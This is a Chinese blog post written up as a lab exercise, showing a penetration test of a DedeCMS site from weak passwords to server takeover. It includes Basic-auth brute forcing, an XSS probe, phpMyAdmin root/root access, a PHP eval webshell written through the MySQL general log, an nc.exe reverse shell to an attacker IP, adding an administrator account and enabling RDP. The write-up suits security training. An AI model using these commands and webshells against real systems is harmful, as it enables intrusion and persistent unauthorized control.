深入某CMS渗透测试:从弱口令到接管webshell

深入某CMS渗透测试:从弱口令到接管webshell

前言

关于交流群,后台添加即可

401验证,在网络通信和HTTP协议中,特指一种状态码——401 Unauthorized(未经授权)。当客户端尝试访问受保护的资源时,如果未能提供有效的身份验证信息,或者提供的信息不足以获得访问权限,服务器就会返回401状态码,表示请求未被授权。

靶场复现

弱口令123456

image-20240806102633633

当然也可以使用bp爆破

image-20240806152216786

base64解密

image-20240806152303797

添加迭代器,用户字典

image-20240806152432468

在这里添加一个冒号

image-20240806152451506

添加密码字典

image-20240806152528872

添加处理规则base64编码

image-20240806152551579

这里发现一个百分号的url编码,他就是我们401认证中间的冒号

image-20240806152628684

这里取消url编码即可

image-20240806152726788

然后进行爆破即可,找到一个响应为200的就是爆破成功的

然后解密就好

image-20240806162951900

返回页面登录成功后就会得到key1

image-20240806093456263

进入到首页

image-20240806093545131

登录sql注入尝试,被验证了

image-20240806093628301

双引号也不行

image-20240806120304796

对搜索框进行xss攻击,发现对<>进行了过滤

image-20240806093852745

url编码,但是被转义成了script的a标签,还是以字符串的形式添加到相关搜索

image-20240806094000866

注册一个用户信息

image-20240806094402608

这里成功注册了,但是也没有alert(1)

image-20240806094421879

查看首页过来,也没有,修改闭合标签<strong>试试

image-20240806094517195

修改信息,并添加一个strong标签

image-20240806120600666

失败了,好像还有字符长度限制

image-20240806095128633

在短消息界面中尝试xss

image-20240806095318060

失败,没效果

image-20240806095338773

xss验证,被转义成了字符串

</textarea><script>alert(1)</script>

image-20240806095743636

好家伙直接添加成功,也没有xss漏洞

image-20240806095759955

找到默认 织梦 后台管理地址

image-20240806100021690

管理员没有修改默认登录界面

image-20240806100047375

admin 万能密码绕过,没有效果

image-20240806100707451

查看端口开放信息

image-20240806100805925

这个端口也没有什么东西

image-20240806101109802

3306端口,mysql远程连接试试,拒绝远程连接

image-20240806123627919

robots爬虫协议

image-20240806101100531

/include

image-20240806141759852

/templets,都没发现什么东西

image-20240806141738678

找到头像设置界面,一句话图片马能上传了

image-20240806101723742

image-20240806101829252

可以上传图片,但是找了好一会儿,没有找到文件包含的地方

image-20240806101844747

御剑目录扫描扫不出任何东西

image-20240806100107737

这里有一个认证,就是401认证,用普通的目录扫描工具是扫不出任何东西的

Authorization: Basic YWRtaW46MTIzNDU2

image-20240806115303604

用burp suite扫描抓包指定好御剑的字典目录扫描路径

image-20240806103242893

刚刚扫描到的phpmyadmin

image-20240806103332161

image-20240806121233281

这个错误介绍

MySQL是一个流行的开放源代码关系数据库管理系统。它是许多Web应用程序的基础,例如WordPress,Magento和Drupal等。MySQL允许用户通过自己的主机或云服务器上的phpMyAdmin进行MySQL管理。然而,有时候用户可能会遇到MySQL Error # 1045 – Cannot Log in to MySQL server -> phpmyadmin错误。这篇文章将介绍这个错误,以及如何解决它。

错误原因

该错误通常意味着您没有权限访问MySQL服务器。在MySQL中有一个root用户,它是MySQL服务器的超级管理员。如果您尝试使用root用户登录MySQL服务器但不知道密码,或者尝试通过phpMyAdmin使用root用户但是密码错误,那么您就会遇到MySQL Error # 1045。此外,如果您使用的是不正确的用户名或密码,也会遇到此错误。

弱口令root/root成功

image-20240806103746871

一、后台文件上传

登录mysql,找到指定的数据表,查看admin密码

image-20240806104002436

解密

image-20240806104047728

admin/888888成功进入到了后台界面

image-20240806104401369

找到这个文件式管理器,找到key2

image-20240806114809321

查看这个key2

image-20240806105358278

上传php文件

image-20240806104720011

用nmap进行扫描扫出来结果为windows系统

image-20240806113941356

执行命令dir

image-20240806110538219

查看系统信息,是windows server 2008操作系统

image-20240806110736895

在当前uploads目录上传一个nc.exe

image-20240806111004314

移交cmd权限到攻击机器

nc.exe [ip] [端口] -e cmd

image-20240806111218216

dir查看是否成功

image-20240806114241132

查看用户权限信息,是超级管理员,那么我们就可以添加一个管理员用户

image-20240806111358555

添加用户,并添加到admin用户组

# 添加一个用户
net user 用户名 password /add
# 添加用户名到指定用户组
net localgroup administrators 用户名 /add

image-20240806111858963

开启远程

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

image-20240806112030539

nmap扫描指定端口,查看是否开启

image-20240806112016499

用你刚刚添加的用户进行远程连接

image-20240806112144875

查看administrator目录,成功访问,获得目标服务器权限,这里环境没有配置key3,演示结束。

image-20240806112928572

二、日志写入

phpmyadmin日志功能

SHOW VARIABLES LIKE "%general%"

这里我们查看日志状态是开启的,我们可以尝试写日志的方式,获取shell命令

image-20240806172751877

如果没有打开也可以使用如下脚本,打开日志功能

SET GLOBAL GENERAL_LOG=on

在上面我们看到了日志的路径,确定了本站为phpstudy搭建的,我们修改日志文件到我们的shell.php

image-20240806173445444

查看脚本是否存在

image-20240806173527613

写入日志

SELECT "<?php @eval($_POST[10]); ?>"

image-20240806173835384

image-20240806173944918

这里不要忘了添加401验证的请求头

image-20240806174017845

posted @ 2024-09-18 15:36  白小雨  阅读(2)  评论(0编辑  收藏  举报